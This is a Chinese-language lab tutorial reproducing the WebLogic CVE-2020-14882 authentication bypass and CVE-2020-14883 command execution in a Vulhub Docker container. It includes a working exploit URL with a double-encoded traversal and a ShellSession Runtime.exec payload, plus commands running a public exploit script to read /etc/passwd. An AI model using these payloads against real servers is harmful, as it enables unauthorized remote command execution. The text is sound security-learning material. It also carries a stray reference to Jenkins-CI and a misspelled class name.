WebLogic未授权远程命令执行漏洞复现:原理详解+环境搭建+渗透实践(CVE-2020-14882、CVE-2020-14883)
目录
一、WebLogic未授权远程命令执行漏洞
1、漏洞简介
2、漏洞原理
(1)正常访问流程
(2)权限绕过(CVE-2020-14882):
(3)命令执行(CVE-2020-14883):
二、环境搭建
1、确保系统已安装 Docker 和 Docker-Compose
2、下载 Vulhub
3、进入漏洞环境
4、启动漏洞环境
5、查看环境状态
三、未授权访问管理员后台
1、渗透实战
2、原理分析
四、命令执行(无回显)
1、构造PoC攻击URL
2、执行攻击PoC
3、查看攻击效果
五、命令执行(有回显)
1、攻击脚本下载
2、执行攻击
(1)查看cat /etc/passwd
(2)执行whoami命令
(3)执行ls命令
本文详细讲解WebLogic的CVE-2020-14882和CVE-2020-14883漏洞渗透的原理与渗透全流程。WebLogic的CVE-2020-14882漏洞可绕过认证直接访问管理后台并执行任意命令。该漏洞影响多个WebLogic版本,通过构造特殊URL(含双重编码的路径遍历)可绕过权限校验,结合CVE-2020-14883漏洞实现命令执行。实验环境使用Vulhub搭建,成功复现未授权访问和文件创建操作。攻击者可利用公开工具执行系统命令并获取回显(如查看/etc/passwd、执行whoami等)。该漏洞危害严重,建议及时升级修复。
一、WebLogic未授权远程命令执行漏洞
1、漏洞简介
WebLogic 未授权远程命令执行漏洞(CVE-2020-14882)是 Oracle WebLogic Server 中的一个严重安全漏洞。攻击者可以通过构造特殊的恶意HTTP请求,在未经过任何身份验证的情况下,直接访问WebLogic管理控制台的后台接口。结合另一个漏洞CVE-2020-14883(管理控制台中的命令执行漏洞),可以实现完整的未授权远程命令执行。
-
CVE编号:CVE-2020-14882
-
漏洞类型:权限绕过导致的未授权远程命令执行
-
危害等级:高危 或 严重 (Critical)
-
影响版本:
-
Oracle WebLogic Server 10.3.6.0.0
-
Oracle WebLogic Server 12.1.3.0.0
-
Oracle WebLogic Server 12.2.1.3.0
-
Oracle WebLogic Server 12.2.1.4.0
-
Oracle WebLogic Server 14.1.1.0.0
-
2、漏洞原理
(1)正常访问流程
正常情况下,任何尝试访问WebLogic管理控制台(通常位于/console/)的请求,都会被重定向到登录页面(/console/login/LoginForm.jsp)。只有提供了有效的管理员凭证后,才能访问后台功能。
(2)权限绕过(CVE-2020-14882):
WebLogic对访问控制台的URL路径进行了校验,但其校验逻辑存在缺陷。攻击者可以通过以下方式绕过认证:
-
在请求的URL中插入特殊字符(如
%252e%252e/或%2e%2e%2f,这些是../的双重URL编码形式),或者使用/console/console/这样的重复路径。 -
这种特殊的构造方式会欺骗WebLogic的权限校验机制,使其认为该请求是用于获取静态资源(如图片、CSS文件)或某些无需认证的公共接口,从而绕过了身份验证检查。
-
最终,攻击者可以直接访问到本应需要管理员权限才能访问的后台Servlet接口。
(3)命令执行(CVE-2020-14883):
光绕过认证还不够,还需要一个可以执行命令的“抓手”。CVE-2020-14883就是这个抓手。
-
它是一个存在于WebLogic管理控制台组件中的代码执行漏洞。
-
当攻击者通过CVE-2020-14882绕过认证后,可以访问到某个存在缺陷的后台Servlet(如
ConsoleServlet),并向其传递恶意参数。 -
该Servlet在处理这些参数时,会最终调用Java的
Runtime.getRuntime().exec()函数,从而执行攻击者提供的操作系统命令。
二、环境搭建
1、确保系统已安装 Docker 和 Docker-Compose
本文使用Vulhub复现Jenkins-CI漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。
# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker
2、下载 Vulhub
将 Vulhub 项目克隆到本地,具体命令如下所示。
git clone https://github.com/vulhub/vulhub.git
cd vulhub
3、进入漏洞环境
Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。
cd weblogic
cd CVE-2020-14882

4、启动漏洞环境
在CVE-2020-14882目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器
docker-compose up -d
命令执行后,Docker 会完成拉取一个包含weblogic12.2.1.3-2018(受影响版本)的镜像。
5、查看环境状态
使用 docker ps 命令确认容器启动状态,说明由Vulhub 项目提供的 WebLogic 漏洞镜像(版本 12.2.1.3,存在 CVE-2020-14882 漏洞),容器已正常运行 17 分钟,通过宿主机器的 7001 端口可访问容器内的 WebLogic 管理控制台,可用于测试 CVE-2020-14882 漏洞的利用。
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
fe62aa6e46ca vulhub/weblogic:12.2.1.3-2018 "/u01/oracle/createA…" 17 minutes ago Up 17 minutes 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp cve-2020-14882_weblogic_1
| 字段值 | 字段含义 | 详细说明 |
|---|---|---|
fe62aa6e46ca | 容器 ID(Container ID) | Docker 为每个运行的容器分配的唯一 64 位十六进制 ID,此处显示前 12 位缩写形式。可通过该 ID 操作容器(如停止、删除、进入容器等,例:docker stop fe62aa6e46ca)。 |
vulhub/weblogic:12.2.1.3-2018 | 基础镜像(Image) | - vulhub:是一个知名的漏洞环境镜像仓库,专门提供各类漏洞的可复现 Docker 镜像,方便安全测试、漏洞学习使用。- weblogic:镜像对应的应用程序,即 Oracle WebLogic Server。- 12.2.1.3-2018:镜像标签,明确该 WebLogic 的版本为12.2.1.3(属于 CVE-2020-14882 漏洞的影响版本之一),且镜像构建基于 2018 年的基础环境(未修复后续漏洞)。 |
"/u01/oracle/createA…" | 容器启动命令(Command) | 容器启动时执行的初始化脚本路径(完整路径通常为/u01/oracle/createAndStartWebLogic.sh),作用是自动创建 WebLogic 域、配置服务,并启动 WebLogic 服务器,确保容器启动后可直接访问 WebLogic 服务。 |
17 minutes ago | 容器创建时间 | 该容器在查看命令执行前 17 分钟被创建。 |
Up 17 minutes | 容器运行状态 | 容器已持续运行 17 分钟(“Up” 表示正常运行中;若为 “Exited” 则表示已停止)。 |
0.0.0.0:7001->7001/tcp, :::7001->7001/tcp | 端口映射(Ports) | Docker 的端口转发配置: - 宿主机器(你的本地电脑或服务器)的 7001端口(TCP 协议),映射到容器内部的7001端口。- 0.0.0.0:7001表示 IPv4 地址上所有网卡的 7001 端口都可访问;:::7001表示 IPv6 地址的同样配置。- WebLogic 的默认管理控制台端口就是 7001,因此可通过http://宿主IP:7001/console访问容器内的 WebLogic 控制台。 |
cve-2020-14882_weblogic_1 | 容器名称(Name) | 用户(或 Vulhub 脚本)为容器指定的名称,明确指向该容器的用途:用于复现CVE-2020-14882 漏洞的 WebLogic 容器,后缀_1通常是批量创建时的序号(若只创建 1 个,则为_1)。 |
三、未授权访问管理员后台
1、渗透实战
Docker启动完成后,攻击者可以构造特殊请求的URL,即可直接访问到管理后台页面:访问http://192.168.59.128:7001/console/css/%252e%252e%252fconsole.portal,如下所示未授权访问成功。

2、原理分析
我们来分析这个URL的含义,攻击者试图让WebLogic认为这是一个对静态资源 (/css/目录) 的请求,从而绕过对 /console.portal 这个敏感接口的权限检查。通过路径遍历,最终成功访问到需要高权限的 console.portal 接口,而无需提供任何管理员用户名和密码。
http://192.168.59.128:7001/console/css/%252e%252e%252fconsole.portal
-
%252e%252e%252f是双重URL编码后的../。-
第一层解码:Web服务器或Java应用会首先对URL进行解码,将
%25解码成%符号本身。所以解码后变成:%2e%2e%2f-
%2e->. -
%2f->/
-
-
第二层解码:WebLogic在处理路径时,可能会再次进行解码(或规范化),于是
%2e%2e%2f被第二次解码,最终变成:../ -
最终效果:整个路径在经过两次解码后,被WebLogic理解为:
/console/css/../console.portal
-
-
经过所有解码后,WebLogic最终处理的实际路径是:
/console/css/../console.portal在操作系统中,../表示上级目录。路径遍历后,上述路径等价于:/console/console.portal
四、命令执行(无回显)
1、构造PoC攻击URL
我们尝试执行一个命令,例如 touch /tmp/mooyuan888。如果成功,会在目标服务器的 /tmp 目录下创建一个名为mooyuan888的文件,这是漏洞利用成功的标志。我们先进入容器,查看下/tmp下文件,如下所示不存在mooyuan888这个文件。

将攻击者想对192.168.59.128执行攻击命令(touch /tmp/mooyuan888),攻击命令为exec('touch%20/tmp/mooyuan888')。CVE-2020-14883中构造URL攻击PoC,注意黄色字体,http://192.168.59.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/mooyuan888');") 访问URL如下所示。
http://192.168.59.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/mooyuan888');")
-
?_nfpb=true&_pageLabel=: 这些是console.portal接口预期的正常参数,用于使请求看起来合法。 -
&handle=com.tangocl.coherence.mvel2.sh.ShellSession(...): 这是攻击的核心。-
handle: 漏洞参数。 -
com.tangosol.coherence.mvel2.sh.ShellSession: 一个WebLogic内置的类,可以执行MVEL表达式。 -
java.lang.Runtime.getRuntime().exec(...): 在MVEL表达式中调用Java方法,用于执行系统命令。
-
2、执行攻击PoC
通过访问构造的ULR,攻击者发送这个精心构造的HTTP请求到目标WebLogic服务器。

3、查看攻击效果
查看/tmp路径下的文件及子路径,如下所示在/tmp路径下成功创建了mooyuan888文件,命令执行成功!至此,漏洞复现成功。

五、命令执行(有回显)
1、攻击脚本下载
CVE-2020-14882_ALL综合利用工具,支持命令回显检测,Github库地址如下所示。
https://github.com/GGyao/CVE-2020-14882_ALL

2、执行攻击
(1)查看cat /etc/passwd
python CVE-2020-14882_ALL.py -u http://192.168.59.128:7001 -c "cat /etc/passwd"

(2)执行whoami命令
python CVE-2020-14882_ALL.py -u http://192.168.59.128:7001 -c "whoami"

(3)执行ls命令
python CVE-2020-14882_ALL.py -u http://192.168.59.128:7001 -c "ls"

